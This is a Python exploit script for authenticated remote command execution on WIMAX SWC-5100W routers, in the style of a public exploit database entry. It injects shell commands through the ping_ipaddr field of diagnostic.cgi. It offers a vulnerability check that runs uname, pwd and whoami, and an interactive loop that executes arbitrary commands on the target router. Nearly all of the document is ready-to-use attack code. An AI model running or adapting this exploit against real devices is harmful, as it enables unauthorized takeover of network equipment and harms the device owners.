WIMAX SWC-5100W Remote Command Execution

`# Exploit Title: WIMAX SWC-5100W Firmware V(1.11.0.1 :1.9.9.4) - Authenticated RCE  
# Vulnerability Name: Ballin' Mada  
# Date: 4/3/2023  
# Exploit Author: Momen Eldawakhly (Cyber Guy)  
# Vendor Homepage: http://www.seowonintech.co.kr/eng/main  
# Version: Bootloader(1.18.19.0) , HW (0.0.7.0), FW(1.11.0.1 : 1.9.9.4)  
# Tested on: Unix  
# CVE : Under registration  
  
import requests  
import random,argparse  
import sys  
from colorama import Fore  
from bs4 import BeautifulSoup  
  
red = Fore.RED  
green = Fore.GREEN  
cyan = Fore.CYAN  
yellow = Fore.YELLOW  
reset = Fore.RESET  
  
argParser = argparse.ArgumentParser()  
argParser.add_argument("-t", "--target", help="Target router")  
argParser.add_argument("-rv", "--reverseShell", help="Obtain reverse shell", action='store_true')  
argParser.add_argument("-tx", "--testExploit", help="Test exploitability", action='store_true')  
  
args = argParser.parse_args()  
target = args.target  
rev = args.reverseShell  
testX = args.testExploit  
  
  
banner = """  
____ ____ ____ ____ ____ ____ ____ _________ ____ ____ ____ ____   
||B |||a |||l |||l |||i |||n |||' ||| |||M |||a |||d |||a ||  
||__|||__|||__|||__|||__|||__|||__|||_______|||__|||__|||__|||__||  
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_______\|/__\|/__\|/__\|/__\|  
RCE 0day in WIMAX SWC-5100W  
[ Spell the CGI as in Cyber Guy ]  
"""  
def checkEXP():  
print(cyan + "[+] Checking if target is vulnerable" + reset)  
art = ['PWNED_1EE7', 'CGI AS IN CYBER GUY']  
request = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo 'PUTS("+random.choice(art)+")';", proxies=None)  
if request.status_code == 200:  
print(green + "[+] Status code: 200 success" + reset)  
soup = BeautifulSoup(request.text, 'html.parser')   
if soup.get_text(" ").find("PWNED_1EE7") < 0 or soup.get_text(" ").find("CGI AS IN CYBER GUY"):  
print(green + "[+] Target is vulnerable" + reset)  
uname = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo+\"<a+id='pwned'>[*] Kernel: `uname+-a` -=-=- [*] Current directory: `pwd` -=-=- [*] User: `whoami`</a>\";")  
soup_validate = BeautifulSoup(uname.text, 'html.parser')  
print(soup_validate.find(id="pwned").text)  
else:  
print(red + "[+] Seems to be not vulnerable" + reset)  
else:  
print(red + "[+] Status code: " + str(request.status_code) + reset)  
  
  
def revShell():  
cmd = input("CGI #:- ")  
while cmd:  
try:  
print(cmd)  
uname = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo+\"<a+id='result'>`{cmd}`</a>\";")  
resp = BeautifulSoup(uname.text, 'html.parser')  
print(resp.find(id="result").text)  
if cmd == "exit" or cmd == "quit":  
print(yellow + "[*] Terminating ..." + reset)  
sys.exit(0)  
else:  
return revShell()  
except KeyboardInterrupt:  
sys.exit(0)  
  
def help():  
print(  
"""   
[+] Example: python3 pwnMada.py -t 192.168.1.1 -rv  
  
[*] -t, --target :: Specify target to attack.  
[*] -rv, --reverseShell :: Obtain reverse shell.  
[*] -tx, --testExploit :: Test the exploitability of the target.  
[*] -fz, --fuzz :: Fuzz the target with arbitrary chars.  
"""  
)  
  
if target and rev:  
print(banner)  
revShell()  
elif target and testX:  
print(banner)  
checkEXP()  
else:  
print(banner)  
argParser.print_help()  
  
  
`